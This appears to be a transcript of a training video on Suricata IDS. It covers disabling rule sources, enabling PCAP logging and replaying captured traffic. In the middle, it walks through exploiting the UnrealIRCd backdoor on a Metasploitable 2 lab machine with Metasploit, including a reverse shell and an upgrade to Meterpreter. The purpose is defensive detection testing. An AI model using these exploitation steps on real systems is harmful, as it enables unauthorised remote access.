In this demo, we're going to capture traffic to a PCAP file using Suricata.
We have two goals from Globomantics for this demo.
We need to capture traffic simulating a potential threat to our network,
and we need to test the PCAP replay to ensure it's useful in
detecting potential threats to our network.
If you're ready to get started,
we'll head over to our Suricata server and make some changes.
Before we test the effects of these rule sources,
let's make a packet capture without any of them configured.
The first step for that is disabling each of the rule sources.
We can use suricata‑update to disable them.
Let's go ahead and do that now.
To disable a source,
we enter the command sudo suricata‑update disable‑source
followed by the name of the source.
We'll start with our custom source, Example, then the emerging threats rules.
Next, we'll disable our threat hunting rules and our trafficid rules.
We also have to make a configuration change to
update.yaml to remove that URL source.
To do that, we'll just comment out these two lines.
Now we run suricata‑update again.
Notice that even though we disabled the emerging threats rule set,
it still tried to download them again.
This is the default behavior of suricata‑update,
and we'll leave the emerging threats rule set on since that's
what we had at the beginning of this course.
We'll instead use PCAP replay to test the effects of each other
rule set that we add to our Suricata server.
Notice we still have the effects of our enable,
disable, modify, and drop.conf files.
That's fine for now,
and we'll continue to tweak these throughout the next few demos.
The next step we have to take is to turn on PCAP logging.
For that, we'll go to our Suricata configuration file.
To make this change, we just need to go to the PCAP log section of this file.
You can use Ctrl+W to search this file and find pcap‑log.
To enable PCAP logging, we simply change this enabled to yes.
Now it will save our packet captures to the file name log.pcap.
All we have to do now is just save this file and exit.
Now we're ready to activate Suricata and get started
capturing package to a PCAP file.
We use the same method we did in the getting started course using
the screen command to actually activate Suricata.
Remember, you activate it simply typing screen,
hit space, and now enter our command to turn on Suricata,
which is sudo suricata ‑c /etc/suricata/suricata.yaml ‑q 0.
And then once it's running, we use Ctrl+A+D to exit out of the screen session.
And then we can view our fast.log file using a tail command,
sudo tail ‑f var/log/suricata/fast.log.
You'll see some entries from previous tests I ran.
Yours might look a little bit different,
but these are not active traffic right now.
Now we'll go over to our Kali Linux machine and send the
test traffic that we want by exploiting the IRC back door
on our Metasploitable 2 machine.
The first step on our Kali machine is to run the command sudo msfdb init.
This just initializes the Metasploitable framework database.
Mine is already configured.
But just in case yours wasn't, this is the first step.
Next,
we run the command sudo msfconsole to pull up the Metasploit framework console.
Once we have Metasploit pulled up,
we'll select our exploit by entering the command use
exploit/unix/irc/unreal_ircd_3281_backdoor.
Once you enter unix/irc, you can hit Tab, and it should fill in the rest.
Now I'll enter show options.
The remote port is fine.
We just have to set our remote host.
So to do that, we enter set RHOSTS and our Metasploitable 2 IP address,
10.0.0.100.
Because we're using a reverse shell payload, we have to set a localhost IP.
For my Kali Linux VM, that's 192.168.1.28, but yours might differ.
Next, we have to select a payload.
So for that, we'll enter show payloads,
and we'll use this payload 5 Unix server shell.
Now we'll run the exploit,
and it opened a shell session with our remote host as we expected.
We'll use Ctrl+Z to put this in the background,
and we are going to upgrade this to a Meterpreter shelf. For that, we
enter use post/multi/manage/shell_to_meterpreter.
Then we show options again. We'll set our LHOST to our IP once more.
We'll set our session to 1 because we backgrounded session 1 and then run
this. And now we have a Meterpreter shell on a remote host.
So let's head back to our Suricata server and look at the results.
All we have from our current rule set is two new alerts for this activity.
So let's go ahead and cancel this tail command and then
reattach our screen session using screen ‑r, and then we'll
shut down Suricata. Now we'll go back to our regular command
prompt using Ctrl+A followed by D.
And let's make sure that we captured our traffic to a PCAP file.
We can check the directory var/log/suricata to do that. And
there's our PCAP capture right there as we expected.
Now we can replay the traffic in the next demo after updating our rule set.
Before we do that, let's test the PCAP replay to ensure it works
correctly. For that, we enter sudo suricata ‑c followed by the path to our
Suricata configuration file, and then we enter ‑r and the path to this
log.pcap file, /var/log/suricata followed by our log .pcap file name. And
our PCAP replay worked correctly.
We have 1,134 packets for Suricata to evaluate in the next demo.